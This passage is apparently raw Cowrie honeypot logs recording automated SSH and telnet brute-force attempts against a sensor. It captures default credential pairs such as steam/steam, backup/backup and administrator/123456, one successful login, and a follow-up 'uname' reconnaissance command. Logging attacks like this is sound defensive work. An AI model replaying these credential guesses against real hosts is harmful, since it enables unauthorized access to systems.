{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:53.718756Z","src_ip":"192.109.200.237","session":"90af32ad241a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:53.965702Z","src_ip":"192.109.200.237","session":"90af32ad241a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.593565702438354,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:54.216428Z","src_ip":"50.6.8.71","session":"5ac9182a7f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:55.050842Z","src_ip":"192.109.200.237","session":"90af32ad241a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48736,"dst_ip":"159.203.135.109","dst_port":22,"session":"f42056574f82","protocol":"ssh","message":"New connection: 192.109.200.237:48736 (159.203.135.109:22) [session: f42056574f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.225418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.229881Z","src_ip":"192.109.200.237","session":"f42056574f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.311978Z","src_ip":"192.109.200.237","session":"f42056574f82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.558182Z","src_ip":"192.109.200.237","session":"f42056574f82","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.770600Z","src_ip":"192.109.200.237","session":"f42056574f82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.774025Z","src_ip":"192.109.200.237","session":"f42056574f82","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.858975Z","src_ip":"192.109.200.237","session":"f42056574f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:57.864496Z","src_ip":"192.109.200.237","session":"f42056574f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48896,"dst_ip":"159.203.135.109","dst_port":22,"session":"920615e1e8cc","protocol":"ssh","message":"New connection: 192.109.200.237:48896 (159.203.135.109:22) [session: 920615e1e8cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:00.652192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:00.657089Z","src_ip":"192.109.200.237","session":"920615e1e8cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:00.739632Z","src_ip":"192.109.200.237","session":"920615e1e8cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:00.986942Z","src_ip":"192.109.200.237","session":"920615e1e8cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:02.072469Z","src_ip":"192.109.200.237","session":"920615e1e8cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54346,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e1aefb857af","protocol":"telnet","message":"New connection: 50.6.8.71:54346 (10.17.0.5:23) [session: 0e1aefb857af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:02.732131Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48908,"dst_ip":"159.203.135.109","dst_port":22,"session":"559e3522bd69","protocol":"ssh","message":"New connection: 192.109.200.237:48908 (159.203.135.109:22) [session: 559e3522bd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:04.194015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:04.316472Z","src_ip":"192.109.200.237","session":"559e3522bd69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:04.321444Z","src_ip":"192.109.200.237","session":"559e3522bd69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:04.674501Z","src_ip":"192.109.200.237","session":"559e3522bd69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.183610677719116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:04.720452Z","src_ip":"50.6.8.71","session":"5533126178fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:05.762722Z","src_ip":"192.109.200.237","session":"559e3522bd69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.27185893058777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:05.842937Z","src_ip":"50.6.8.71","session":"05e83213815d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54356,"dst_ip":"10.17.0.5","dst_port":23,"session":"c16bf650e40c","protocol":"telnet","message":"New connection: 50.6.8.71:54356 (10.17.0.5:23) [session: c16bf650e40c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:06.251744Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48926,"dst_ip":"159.203.135.109","dst_port":22,"session":"e96371e06685","protocol":"ssh","message":"New connection: 192.109.200.237:48926 (159.203.135.109:22) [session: e96371e06685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:07.931845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:07.936495Z","src_ip":"192.109.200.237","session":"e96371e06685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:08.019867Z","src_ip":"192.109.200.237","session":"e96371e06685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:08.267262Z","src_ip":"192.109.200.237","session":"e96371e06685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:09.352609Z","src_ip":"192.109.200.237","session":"e96371e06685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40180,"dst_ip":"159.203.135.109","dst_port":22,"session":"871f0957cd76","protocol":"ssh","message":"New connection: 192.109.200.237:40180 (159.203.135.109:22) [session: 871f0957cd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:11.430744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:11.435886Z","src_ip":"192.109.200.237","session":"871f0957cd76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:11.518205Z","src_ip":"192.109.200.237","session":"871f0957cd76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:11.765818Z","src_ip":"192.109.200.237","session":"871f0957cd76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:12.852287Z","src_ip":"192.109.200.237","session":"871f0957cd76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b63cbffa57c","protocol":"telnet","message":"New connection: 50.6.8.71:43486 (10.17.0.5:23) [session: 5b63cbffa57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:13.292230Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40186,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b7885879a8e","protocol":"ssh","message":"New connection: 192.109.200.237:40186 (159.203.135.109:22) [session: 8b7885879a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:14.942540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:14.947402Z","src_ip":"192.109.200.237","session":"8b7885879a8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:15.033381Z","src_ip":"192.109.200.237","session":"8b7885879a8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":43498,"dst_ip":"10.17.0.5","dst_port":23,"session":"50460eeec53f","protocol":"telnet","message":"New connection: 50.6.8.71:43498 (10.17.0.5:23) [session: 50460eeec53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:15.147635Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:15.281622Z","src_ip":"192.109.200.237","session":"8b7885879a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:16.366710Z","src_ip":"192.109.200.237","session":"8b7885879a8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.2195086479187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:17.947755Z","src_ip":"50.6.8.71","session":"4f7ba3c786b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40188,"dst_ip":"159.203.135.109","dst_port":22,"session":"78b64f0fa6e3","protocol":"ssh","message":"New connection: 192.109.200.237:40188 (159.203.135.109:22) [session: 78b64f0fa6e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:18.425931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:19:18.430194Z","src_ip":"192.109.200.237","session":"78b64f0fa6e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ec